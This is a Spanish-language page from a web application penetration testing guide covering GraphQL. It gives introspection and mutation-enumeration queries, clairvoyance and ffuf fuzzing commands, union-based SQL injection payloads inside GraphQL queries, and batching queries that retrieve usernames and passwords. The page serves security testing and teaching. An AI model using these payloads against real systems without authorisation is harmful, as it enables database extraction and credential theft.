🟢
Web Application Penetration Testing
  • Inicio
  • General
    • Metodologías y estándares
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Web Application Firewall (WAF)
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
  • Escaneo y enumeración
    • HTTP security headers
    • HTTP methods (verbs)
    • Crawling y spidering
    • Fuzzing
      • Directorios
      • Archivos
      • Extensiones
      • Parámetros
        • GET
        • POST
      • Wordlists
    • Compresión y ofuscación
    • Herramientas automatizadas
  • Explotación
    • API keys
    • Clickjacking
    • HTTP methods (verbs)
    • Input data validation
    • HTTP Host header
    • Autenticación y autorización
      • Cookie
      • JSON Web Token (JWT)
      • OAuth
      • SAML
    • Same-origin policy (SOP)
      • Cross-origin resource sharing (CORS)
    • Cross-site scripting (XSS)
    • Cross-site request forgery (CSRF)
    • File upload
    • Path traversal & file inclusion
    • Command injection
      • Node.js
    • SQL injection (SQLi)
      • MySQL / MariaDB
      • Microsoft SQL Server
      • PostgreSQL
      • Oracle
      • sqlmap
    • NoSQL injection (NoSQLi)
    • XML external entity (XXE) injection
    • CRLF injection
    • XPath injection
    • LDAP injection
    • PDF injection
    • Server-side template injection (SSTI)
    • Server-side include (SSI) injection
    • Server-side parameter pollution
    • Server-side request forgery (SSRF)
    • Web cache poisoning
    • HTTP request smuggling
    • GraphQL
    • Open redirect
    • Content Management System (CMS)
      • WordPress
    • Websocket
    • Deserialization
    • Flash
  • Checklist
    • Web application penetration testing
    • Web API penetration testing
Con tecnología de GitBook
En esta página
  • Checklist
  • Herramientas
  • Clairvoyance
  • graphw00f
  • GraphQL Cop
  • GraphQLmap
  • InQL
  • GraphQL Voyager
  • Altair GraphQL Client
  • Wordlists

¿Te fue útil?

  1. Explotación

GraphQL

Checklist

Versiones antiguas
query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name
        description
        args {
          ...InputValue
        }
        onOperation
        onFragment
        onField
      }
    }
  }

  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    }
  }

  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }

  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    }
  }

Versiones modernas
query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }
Obtener mutaciones (mutations)
query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}
Consultar campos (input fields) de un objeto
{   
  __type(name: "<object-name>") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}
# GraphQL suggestions
clairvoyance -H "<header>: <value>" -c 1 -x "http://127.0.0.1:8080" --no-ssl -w <wordlist> -o schema.json http://<target>/graphql --progress

# Fuzzing queries
ffuf -u http://<target>/graphql -w <wordlist.txt>:FUZZ -X POST -d "{\"query\":\"query {FUZZ}\"}" -H "Authorization: Bearer <token>" -H "Content-Type: application/json" -c -mc all -fr "Cannot query" -o ffuf-fuzzing-graphql-queries.html -of html
# Union-based SQLi
{"query": "{user(username: \"x' UNION SELECT 1,2,3,4-- -\"){id,name,password}}"}
## MySQL / MariaDB
{"query": "{user(username: \"x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -\"){id,name,password}}"}
# JSON list based batching
[
  {"query":"{user(username: \"user\") {id,name,password}}"},
  {"query":"{user(username: \"admin\") {id,name,password}}"},
  {"query":"{user(username: \"root\") {id,name,password}}"}
]
# Query name based batching
{"query":"{
  first: user(username:\"user\"){id,name,password}
  second: user(username:\"admin\") {id,name,password}
  third: user(username:\"root\") {id,name,password}
}"}

Herramientas

Clairvoyance

clairvoyance -H "<header>: <value>" -c <concurrent-requests> -x "http://127.0.0.1:8080" --no-ssl -w <wordlist> -o schema.json http://<target>/graphql --progress

graphw00f

main.py -d -f -t <target>

GraphQL Cop

graphql-cop.py -t <target>/graphql

GraphQLmap

graphqlmap.py -u <target>/graphql

InQL

GraphQL Voyager

Altair GraphQL Client

Wordlists

AnteriorHTTP request smugglingSiguienteOpen redirect

Última actualización hace 21 días

¿Te fue útil?

https://github.com/nikitastupin/clairvoyance
https://github.com/dolevf/graphw00f
https://github.com/dolevf/graphql-cop
https://github.com/swisskyrepo/GraphQLmap
https://github.com/doyensec/inql
https://apis.guru/graphql-voyager/
https://github.com/APIs-guru/graphql-voyager
https://altair.sirmuel.design/
https://github.com/altair-graphql/altair
https://github.com/Escape-Technologies/graphql-wordlist